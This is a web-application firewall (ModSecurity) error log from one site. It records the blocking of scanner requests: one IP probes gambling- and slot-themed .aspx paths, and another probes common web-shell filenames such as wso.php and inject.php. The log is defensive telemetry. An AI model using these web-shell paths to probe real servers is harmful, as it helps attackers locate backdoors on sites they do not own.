[Fri Feb 27 22:40:55.507776 2026] [:error] [pid 52073:tid 52080] [client 54.37.252.118:47356] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aaGs94a650YPyxXVeRa7jgAAAYQ"]
[Fri Feb 27 22:40:57.443072 2026] [:error] [pid 56075:tid 56081] [client 54.37.252.118:47372] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaGs-cKBhrfI6KNv9RhDSAAAAAQ"]
[Fri Feb 27 22:40:59.588667 2026] [:error] [pid 54231:tid 54239] [client 54.37.252.118:47376] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aaGs--Tvb5AeyJCdY7A9PgAAAEU"]
[Fri Feb 27 22:41:01.780194 2026] [:error] [pid 54231:tid 54244] [client 54.37.252.118:47380] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aaGs_eTvb5AeyJCdY7A9RAAAAEo"]
[Fri Feb 27 22:41:04.009146 2026] [:error] [pid 54102:tid 54165] [client 54.37.252.118:47384] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aaGtAHi74D4fiYUm_GeMDgAAAJU"]
[Fri Feb 27 22:41:05.929326 2026] [:error] [pid 54231:tid 54257] [client 54.37.252.118:37250] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aaGtAeTvb5AeyJCdY7A9SgAAAFc"]
[Fri Feb 27 22:41:07.889691 2026] [:error] [pid 52073:tid 52085] [client 54.37.252.118:37262] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aaGtA4a650YPyxXVeRa7mwAAAYk"]
[Fri Feb 27 22:41:10.255429 2026] [:error] [pid 54103:tid 54190] [client 54.37.252.118:37272] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aaGtBuvG4MPCmE0B2sDGqgAAANM"]
[Fri Feb 27 22:41:12.316519 2026] [:error] [pid 49306:tid 49330] [client 54.37.252.118:37274] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aaGtCPnSUDZue59Px9teGgAAAVY"]
[Fri Feb 27 22:41:48.080724 2026] [:error] [pid 49306:tid 49321] [client 54.37.252.118:42426] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aaGtLPnSUDZue59Px9tejAAAAU0"]
[Fri Feb 27 22:41:49.974033 2026] [:error] [pid 54102:tid 54169] [client 54.37.252.118:60990] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aaGtLXi74D4fiYUm_GeMTgAAAJg"]
[Fri Feb 27 22:41:51.991473 2026] [:error] [pid 54102:tid 54165] [client 54.37.252.118:60992] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aaGtL3i74D4fiYUm_GeMWAAAAJU"]
[Fri Feb 27 22:41:53.989509 2026] [:error] [pid 49306:tid 49322] [client 54.37.252.118:32770] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaGtMfnSUDZue59Px9tekwAAAU4"]
[Fri Feb 27 22:41:55.848043 2026] [:error] [pid 54231:tid 54241] [client 54.37.252.118:32850] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaGtM-Tvb5AeyJCdY7A9fAAAAEc"]
[Fri Feb 27 22:41:57.812515 2026] [:error] [pid 54103:tid 54179] [client 54.37.252.118:32864] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaGtNevG4MPCmE0B2sDGvQAAAMg"]
[Fri Feb 27 22:41:59.748971 2026] [:error] [pid 54231:tid 54247] [client 54.37.252.118:32876] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aaGtN-Tvb5AeyJCdY7A9gwAAAE0"]
[Fri Feb 27 22:42:01.791572 2026] [:error] [pid 52073:tid 52095] [client 54.37.252.118:32882] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aaGtOYa650YPyxXVeRa8OAAAAZM"]
[Fri Feb 27 22:42:03.807875 2026] [:error] [pid 54231:tid 54236] [client 54.37.252.118:32892] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaGtO-Tvb5AeyJCdY7A9jgAAAEI"]
[Fri Feb 27 22:42:05.841136 2026] [:error] [pid 49306:tid 49313] [client 54.37.252.118:37416] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aaGtPfnSUDZue59Px9telwAAAUU"]
[Fri Feb 27 22:42:07.779728 2026] [:error] [pid 54102:tid 54161] [client 54.37.252.118:37422] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aaGtP3i74D4fiYUm_GeMZgAAAJE"]
[Fri Feb 27 22:42:09.677274 2026] [:error] [pid 52073:tid 52099] [client 54.37.252.118:37438] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aaGtQYa650YPyxXVeRa8UwAAAZc"]
[Fri Feb 27 22:42:11.712739 2026] [:error] [pid 62998:tid 63002] [client 54.37.252.118:37446] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aaGtQ1QeueXZDUmoLol9EAAAAQE"]
[Fri Feb 27 22:42:13.912671 2026] [:error] [pid 56075:tid 56101] [client 54.37.252.118:37458] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aaGtRcKBhrfI6KNv9RhD6AAAABc"]
[Fri Feb 27 22:42:15.960560 2026] [:error] [pid 54103:tid 54191] [client 54.37.252.118:48364] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aaGtR-vG4MPCmE0B2sDGxgAAANQ"]
[Fri Feb 27 22:42:17.843880 2026] [:error] [pid 62998:tid 63012] [client 54.37.252.118:48370] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aaGtSVQeueXZDUmoLol9HwAAAQo"]
[Fri Feb 27 22:42:19.727059 2026] [:error] [pid 54103:tid 54181] [client 54.37.252.118:48386] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aaGtS-vG4MPCmE0B2sDG0QAAAMo"]
[Fri Feb 27 22:42:21.635468 2026] [:error] [pid 54102:tid 54161] [client 54.37.252.118:48390] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aaGtTXi74D4fiYUm_GeMdAAAAJE"]
[Fri Feb 27 22:42:23.572259 2026] [:error] [pid 52073:tid 52098] [client 54.37.252.118:48398] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aaGtT4a650YPyxXVeRa8YwAAAZY"]
[Fri Feb 27 22:42:25.612529 2026] [:error] [pid 52073:tid 52087] [client 54.37.252.118:48024] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aaGtUYa650YPyxXVeRa8ZwAAAYs"]
[Fri Feb 27 22:42:27.578934 2026] [:error] [pid 56075:tid 56079] [client 54.37.252.118:48034] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aaGtU8KBhrfI6KNv9RhEBgAAAAI"]
[Fri Feb 27 22:42:29.688871 2026] [:error] [pid 54102:tid 54146] [client 54.37.252.118:48050] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aaGtVXi74D4fiYUm_GeMeAAAAII"]
[Fri Feb 27 22:42:31.641058 2026] [:error] [pid 56075:tid 56084] [client 54.37.252.118:48058] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aaGtV8KBhrfI6KNv9RhEHwAAAAc"]
[Fri Feb 27 22:42:33.689370 2026] [:error] [pid 54231:tid 54236] [client 54.37.252.118:48074] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaGtWeTvb5AeyJCdY7A9tAAAAEI"]
[Fri Feb 27 22:42:35.783012 2026] [:error] [pid 62998:tid 63012] [client 54.37.252.118:38924] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aaGtW1QeueXZDUmoLol9LAAAAQo"]
[Fri Feb 27 22:42:37.812744 2026] [:error] [pid 54231:tid 54238] [client 54.37.252.118:38940] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aaGtXeTvb5AeyJCdY7A9xQAAAEQ"]
[Fri Feb 27 22:42:39.776732 2026] [:error] [pid 56075:tid 56084] [client 54.37.252.118:38954] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aaGtX8KBhrfI6KNv9RhERQAAAAc"]
[Fri Feb 27 22:42:41.657995 2026] [:error] [pid 56075:tid 56084] [client 54.37.252.118:38970] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aaGtYcKBhrfI6KNv9RhEWgAAAAc"]
[Fri Feb 27 22:42:43.484442 2026] [:error] [pid 52073:tid 52079] [client 54.37.252.118:38978] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaGtY4a650YPyxXVeRa8ggAAAYM"]
[Fri Feb 27 22:43:21.705380 2026] [:error] [pid 52073:tid 52085] [client 129.226.93.214:39984] [client 129.226.93.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaGtiYa650YPyxXVeRa8wQAAAYk"]
[Fri Feb 27 23:41:21.806975 2026] [:error] [pid 49306:tid 49330] [client 52.138.25.109:39920] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aaG7IfnSUDZue59Px9t9NQAAAVY"]
[Fri Feb 27 23:41:22.226966 2026] [:error] [pid 52073:tid 52078] [client 52.138.25.109:39924] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aaG7Ioa650YPyxXVeRbigAAAAYI"]
[Fri Feb 27 23:41:22.643407 2026] [:error] [pid 54102:tid 54150] [client 52.138.25.109:39886] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aaG7Ini74D4fiYUm_GeZFAAAAIY"]
[Fri Feb 27 23:41:23.085575 2026] [:error] [pid 54101:tid 54123] [client 52.138.25.109:39927] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aaG7I1Y5qgRktcYTGFtjbQAAAc8"]
[Fri Feb 27 23:41:23.494637 2026] [:error] [pid 52073:tid 52081] [client 52.138.25.109:39899] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inject.php"] [unique_id "aaG7I4a650YPyxXVeRbiigAAAYU"]
[Fri Feb 27 23:41:23.904775 2026] [:error] [pid 54103:tid 54183] [client 52.138.25.109:39822] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inject.php"] [unique_id "aaG7I-vG4MPCmE0B2sDVaAAAAMw"]
[Fri Feb 27 23:41:24.314221 2026] [:error] [pid 52073:tid 52088] [client 52.138.25.109:39823] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inject.php"] [unique_id "aaG7JIa650YPyxXVeRbikQAAAYw"]
[Fri Feb 27 23:41:24.722195 2026] [:error] [pid 52073:tid 52079] [client 52.138.25.109:39919] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inject.php"] [unique_id "aaG7JIa650YPyxXVeRbilAAAAYM"]
[Fri Feb 27 23:41:25.130496 2026] [:error] [pid 49306:tid 49324] [client 52.138.25.109:39922] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aaG7JfnSUDZue59Px9t9OgAAAVA"]
[Fri Feb 27 23:41:25.542409 2026] [:error] [pid 54102:tid 54157] [client 52.138.25.109:39827] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aaG7JXi74D4fiYUm_GeZGAAAAI0"]
[Fri Feb 27 23:41:25.954950 2026] [:error] [pid 56075:tid 56091] [client 52.138.25.109:39818] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aaG7JcKBhrfI6KNv9Rh4-gAAAA0"]
[Fri Feb 27 23:41:26.374032 2026] [:error] [pid 52073:tid 52089] [client 52.138.25.109:39891] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aaG7Joa650YPyxXVeRbimQAAAY0"]
[Fri Feb 27 23:41:26.783570 2026] [:error] [pid 52073:tid 52090] [client 52.138.25.109:39908] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pro.php"] [unique_id "aaG7Joa650YPyxXVeRbinAAAAY4"]
[Fri Feb 27 23:41:27.197625 2026] [:error] [pid 52073:tid 52079] [client 52.138.25.109:39808] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pro.php"] [unique_id "aaG7J4a650YPyxXVeRbipAAAAYM"]
[Fri Feb 27 23:41:27.607959 2026] [:error] [pid 49306:tid 49317] [client 52.138.25.109:39898] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pro.php"] [unique_id "aaG7J_nSUDZue59Px9t9PgAAAUk"]
[Fri Feb 27 23:41:28.021123 2026] [:error] [pid 56075:tid 56083] [client 52.138.25.109:39904] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pro.php"] [unique_id "aaG7KMKBhrfI6KNv9Rh5BQAAAAY"]
